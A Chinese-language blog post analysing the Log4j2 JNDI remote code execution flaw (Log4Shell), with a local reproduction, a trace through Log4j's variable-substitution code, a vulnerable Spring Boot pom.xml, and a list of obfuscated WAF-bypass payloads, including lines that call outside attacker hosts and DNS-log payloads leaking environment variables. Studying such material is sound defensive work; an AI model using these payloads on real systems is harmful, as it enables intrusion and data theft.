log4j2 rce 分析

漏洞复现

构造恶意类

public class Log4jRCE {
    public Log4jRCE(){
        try{
            Runtime.getRuntime().exec(new String[]{"calc.exe"});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        Log4jRCE log4jRCE = new Log4jRCE();
    }

}

编译成字节码

开启ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Log4jRCE" 1389
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
    }
}

直接运行即可弄出计算器

漏洞分析

log4j在处理字符会处理${}分割得到前缀和后缀,然后通过strLookupMap.get()得到前缀Jndilookup类,进而再调用其lookup()方法

开始会确定log日志存储的路径

然后在对传入的字符进行处理

org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1-sources.jar!/org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java::directEncodeEvent()方法

调用了encode方法 而getLayout()得到的是PatternLayout

image-20220607091556077

org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1-sources.jar!/org/apache/logging/log4j/core/layout/PatternLayout.java 的encode方法里调用ToText(),toText()方法又调用toSerializable()方法

image-20220607085648288

看到这个方法里调用formatters[i]里的format方法,这个数组主要有这几个format类

image-20220607085915622

image-20220607085824853

后面再对传的值进行匹配进行匹配,

org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1-sources.jar!/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java::format()方法里,这里我们也看到$,{的字样就是前缀,如果传的字符窜有$ {,就调用replace()方法

image-20220607084147626

调用replace()方法

replace方法刚好调用了substitue()方法,重新回到字符匹配看下传入的值,

image-20220607084432124

substitue()方法里对传入的值进行处理,这也是绕waf的重点之处

image-20220607092255058

image-20220607092551481

跟进发现会匹配这几个字符串: ${ } : -

判断传入的值这几个字符串出现的位置

第一步

image-20220607092922007

先找到${ 的位置并最终位置,再找},

然后继续看看有没有${}

image-20220607093449077

找到一对${}后,继续递归找一对${}

image-20220607093653549

递归找完了后再找:- 的字符

image-20220607100124631

image-20220607103014279

找到最终的字符

匹配完了后,

进到org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1-sources.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.java::resolveVariable()方法

image-20220607084544174

image-20220607005024097

image-20220607005053633

这个getVariableResolver方法是有这些字典的

{date, ctx, main, sys, env, sd, java, web, marker, jndi, jvmrunargs, bundle, map, log4j}

jndi刚好就在

再跟进

image-20220607005210715

先找到: 在mesaage出现的位置,返回变量:

image-20220607084005777

匹配整个字符串

image-20220607010135969

然后重新进到resolveVariable里

image-20220607010145191

找到jndi

image-20220607010211630

从map取JndiLookup对象

image-20220607010236988

接着就是lookup方法了

image-20220607010334844

熟悉的jndi调用

web环境

放个pom.xml

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>org.example</groupId>
  <artifactId>log4j_test</artifactId>
  <version>1.0-SNAPSHOT</version>

  <name>log4j_test</name>
  <!-- FIXME change it to the project's website -->
  <url>http://www.example.com</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.8</maven.compiler.source>
    <maven.compiler.target>1.8</maven.compiler.target>
  </properties>
  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.2.2.RELEASE</version>
    <relativePath/> <!-- lookup parent from repository -->
  </parent>

  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.12</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-thymeleaf</artifactId>
      <exclusions>
        <exclusion>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
      </exclusions>
    </dependency>


    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
      <exclusions>
        <exclusion>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
      </exclusions>
    </dependency>

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-log4j2</artifactId>
    </dependency>

    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-web</artifactId>
      <version>2.12.1</version>
    </dependency>
  </dependencies>

  <build>
    <finalName>springboot</finalName>
    <plugins>
      <plugin>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-maven-plugin</artifactId>
      </plugin>
    </plugins>
  </build>
</project>

https://github.com/penson233/log4j2-rce-demo

tips

我是一名推特的搬运工~~

一些绕过

image-20211221204658342

image-20211221205352588

1) CVE-2021-44228 (RCE) - Critical
Payload: ${jndi:ldap://evil[.]com:1389/a}

2) CVE-2021-45046 (RCE) - Critical
Payload: ${jndi:ldap://127.0.0.1#evil[.]com:1389/a}

3) CVE-2021-45105 (DoS) - High
Payload: ${${::-${::-$${::-j}}}}


${jnd${123%25ff:-${123%25ff:-i:}}ldap://127.0.0.1:1389/Exp}
${${::-j}${::-n}d${::-i}:${::-l}${::-d}${::-a}${::-p}://${::-1}${::-2}${::-7}.${::-0}.${::-0}.1:138${::-9}/${::-E}xp}
${${::-j}${::-n}d${::-i}:${::-l}${::-d}${::-a}${::-p}://${::-1}${::-5}${::-9}.${::-2}${::-2}3.5.30:44${::-3}/${::-o}=${::-t}omca${::-t}}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//12/Basic/Command/Base64/[encoded]

${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o}


${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://139.59.175.247:1389/l6rntj}}

探测敏感信息

 ${jndi:ldap://${env:JAVA_VERSION}.oc96ka.dnslog.cn}
 ${jndi:ldap://${env:user}.abc.collab.com/a}

文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年